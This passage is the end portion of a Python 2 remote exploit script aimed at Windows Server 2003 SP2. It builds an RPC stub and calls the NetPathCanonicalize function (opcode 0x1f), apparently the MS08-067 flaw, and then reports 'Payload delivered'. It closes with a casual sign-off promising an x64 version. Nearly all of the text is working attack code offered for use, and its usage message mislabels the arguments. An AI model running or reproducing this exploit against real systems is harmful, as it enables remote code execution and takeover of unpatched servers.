    stub += ndr_long(path_type)
    stub += ndr_long(flags)
    
    dce = connect(target)
    print "[*]\tCall stub size %s" % len(stub)
    
    # NetPathCanonicalize func. opcode 0x1f
    dce.call(0x1f, stub)
    
    print "[*]\tPayload delivered"

if __name__ == "__main__":
    if len(sys.argv) == 3:
        platform = sys.argv[1]
        target = sys.argv[2]
        print "[*]\tPlatform: %s Target: %s" % (platform, target)
        cfg = offsets(platform)
        exploit(target, cfg)
    else:
        print "[*]\t%s <target> <ipaddress>" % sys.argv[0]
        print "[*]\tTarget: win2k3sp2"

Exploit Github

Have fun see tou next time with x64 bit version of this one :)